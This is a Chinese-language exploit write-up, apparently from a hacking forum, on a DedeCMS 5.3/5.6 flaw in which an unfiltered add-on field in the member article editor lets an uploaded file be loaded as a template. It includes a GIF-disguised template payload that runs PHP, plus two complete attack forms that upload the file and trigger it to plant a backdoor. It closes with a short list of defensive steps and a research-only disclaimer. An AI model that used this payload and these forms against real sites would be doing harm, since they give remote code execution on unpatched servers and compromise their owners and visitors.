DEDECMS 5.6最新Get Shell漏洞

影响版本:  DEDECMS 5.3/5.6

  漏洞描述:

  DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。

  article_add.php

复制代码 代码如下:

……………………

else if($dopost==’save’)

{

include(DEDEMEMBER.’/inc/archives_check.php’);

//分析处理附加表数据

$inadd_f = $inadd_v = ”;

if(!emptyempty($dede_addonfields))

{

$addonfields = explode(‘;’,$dede_addonfields);

…………………………………….. //省略部份代码

$inadd_f .= ‘,’.$vs[0];

$inadd_v .= ” ,'”.${$vs[0]}.”‘ “;

}

}

}

……………………………………

$addtable = trim($cInfos[‘addtable’]);

if(emptyempty($addtable))

{

………………………………..

}

else

{

$inquery = “INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values(‘$arcID’,’$typeid’,’$userip’,”,”,’$body'{$inadd_v})”;

if(!$dsql->ExecuteNoneQuery($inquery))

{

……………………………………

}

}

……………………………………

$artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义)

function MakeArt($aid,$ismakesign=false)

{

global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;

include_once(DEDEINC.’/arc.archives.class.php’);

if($ismakesign)

{

$envs[‘makesign’] = ‘yes’;

}

$arc = new Archives($aid);

$reurl = $arc->MakeHtml(); //arc.archives.class.php有定义

……………………….

}

  arc.archives.class.php

复制代码 代码如下:

class Archives

{

…………….

function __construct($aid)

{

…………

if($this->ChannelUnit->ChannelInfos[‘addtable’]!=”)

{

$query = “SELECT * FROM `{$this->ChannelUnit->ChannelInfos[‘addtable’]}` WHERE `aid` = ‘$aid'”;

$this->addTableRow = $this->dsql->GetOne($query);

}

……………………

if($this->ChannelUnit->ChannelInfos[‘addtable’]!=” && $this->ChannelUnit->ChannelInfos[‘issystem’]!=-1)

{

if(is_array($this->addTableRow))

{

………………………….

$this->Fields[‘templet’] = $this->addTableRow[‘templet’];//注意1

………………………………..

}

}

………………………..

}

function MakeHtml($isremote=0)

{

global $cfg_remote_site,$fileFirst;

if($this->IsError)

{

return ”;

}

$this->Fields[“displaytype”] = “st”;

//预编译$th

$this->LoadTemplet(); //触发1

………………………………..//省略部份代码

$this->arseDMFields($i,1);

$this->dtp->SaveTo($truefilename); //触发2

………………………………..

}

继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义

function LoadTemplet()

{

if($this->TempSource==”)

{

$tempfile = $this->GetTempletFile(); //注意2

if(!file_exists($tempfile) || !is_file($tempfile))

{

echo “文档ID:{$this->Fields[‘id’]} – {$this->TypeLink->TypeInfos[‘typename’]} – {$this->Fields[‘title’]}

“;

echo “模板文件不存在,无法解析文档!”;

exit();

}

$this->dtp->LoadTemplate($tempfile); //触发3

$this->TempSource = $this->dtp->SourceString;

}

else

{

$this->dtp->LoadSource($this->TempSource);

}

}

看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义

function GetTempletFile()

{

global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;

$cid = $this->ChannelUnit->ChannelInfos[‘nid’];

if(!emptyempty($this->Fields[‘templet’])) //注意3

{

$filetag = MfTemplet($this->Fields[‘templet’]);

if( !ereg(‘/’, $filetag) ) $filetag = $GLOBALS[‘cfg_df_style’].’/’.$filetag;

}

else

{

$filetag = MfTemplet($this->TypeLink->TypeInfos[“temparticle”]);

}

…………………………………

if($cid==’spec’)

{

if( !emptyempty($this->Fields[‘templet’]) )

{

$tmpfile = $cfg_basedir.$cfg_templets_dir.’/’.$filetag;

}

else

{

$tmpfile = $cfg_basedir.$cfg_templets_dir.”/{$cfg_df_style}/article_spec.htm”;

}

}

…………………………………….

return $tmpfile;

}

注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞

看下怎么控制注意1的值

article_edit.php

复制代码 代码如下:

………………….

else if($dopost==’save’)

{ ………………..

if(!emptyempty($dede_addonfields))

{

$addonfields = explode(‘;’,$dede_addonfields);

if(is_array($addonfields))

{

……………………

${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);

$inadd_f .= ‘,’.$vs[0].” ='”.${$vs[0]}.”‘ “;

}

}

……………….

if($addtable!=”)

{

$upQuery = “Update `$addtable` set typeid=’$typeid’,body=’$body'{$inadd_f},userip=’$userip’ where aid=’$aid’ “;

if(!$dsql->ExecuteNoneQuery($upQuery))

{…………..

}

}

………………..

}

$dede_addonfields没有过滤,我们可以构造$inadd_f为,templet=’上传的模板图片地址’,包含我们的图片后,再通过触发2来生成图片里的后门!

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Gif89a{dede:field name=’toby57′ runphp=’yes’}

phpinfo(); {/dede:field}

保存为1.gif

复制代码 代码如下:

<form action=”http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php” method=”post” enctype=”multipart/form-data” “> 2. <input type=”hidden” name=”aid” value=”7″ />

<input type=”hidden” name=”mediatype” value=”1″ /> 4. <input type=”text” name=”oldurl” value=”/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif” /></br>

<input type=”hidden” name=”dopost” value=”save” /> 6. <input name=”title” type=”hidden” id=”title” value=”1.jpg”

class=”intxt”/>

<input name=”addonfile” type=”file” id=”addonfile”/> 8. <button class=”button2″ type=”submit” >更改</button>

</form>

构造如上表单,上传后图片保存为/uploads/userup/3/1.gif 发表文章,然后构造修改表单如下:


复制代码 代码如下:

<form action=”http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php” method=”post” enctype=”multipart/form-data”>

<input type=”hidden” name=”dopost” value=”save” /> 3. <input type=”hidden” name=”aid” value=”2″ />

<input type=”hidden” name=”idhash” value=”ec66030e619328a6c5115b55483e8dbd” /> 5. <input type=”hidden” name=”channelid” value=”1″ />

<input type=”hidden” name=”oldlitpic” value=”” /> 7. <input type=”hidden” name=”sortrank” value=”1282049150″ />

<input name=”title” type=”text” id=”title” value=”aaaaaaaaaaaaaaa” maxlength=”100″

class=”intxt”/> 9. <input type=”text” name=”writer” id=”writer” value=”123456″ maxlength=”100″

class=”intxt” style=”width:219px”/>

<select name=’typeid’ size=’1′> 11. <option value=’1′

class=’option3′ selected=”>Test</option>

<select name=’mtypesid’ size=’1′> 13. <option value=’0′ selected>请选择分类…</option>

<option value=’1′

class=’option3′ selected>aa</option></select> 15. <textarea name=”description” id=”description”>aaaaaaaaaaaaa</textarea>

<input type=’hidden’ name=’dede_addonfields’ value=”templet”> 17. <input type=’hidden’ name=’templet’ value=”../uploads/userup/3/1.gif”>

<input type=”hidden” id=”body” name=”body” value=”aaaa” style=”display:none” /> 19. <button class=”button2″ type=”submit”>提交</button>

</form>

安全建议:

如果您使用了DedeCMS程序,因目前DedeCMS暂未发布补丁修复,请立即按如下流程处理:

1.在dedecms的后台更新补丁,尽可能升级为最新版本。

2.data、templets、uploads、install这几个目录用控制面板的“目录保护”功能 禁止执行权限 。

3.如果只是使用文章系统并没有使用会员功能,则强推推荐:关闭会员功能、关闭新会员注册、直接删除member目录或改名。

4.用dedecms后台的“系统”中的文件校验和病毒扫描功能 查杀病毒木马。

5.检查有无/data/cache/t.php 、/data/cache/x.php和/plus/index.php 这些木马文件,有的话则应立即删除。

6.用虚拟主机控制面板中的“查杀病毒 ”功能全面查杀一次。

请及时关注dedecms的最新补丁,如果官方出新补丁,则应立即更新。

厂商补丁EDECMS————目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com/


声明:本站(华域联盟www.cnhackhy.com)所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。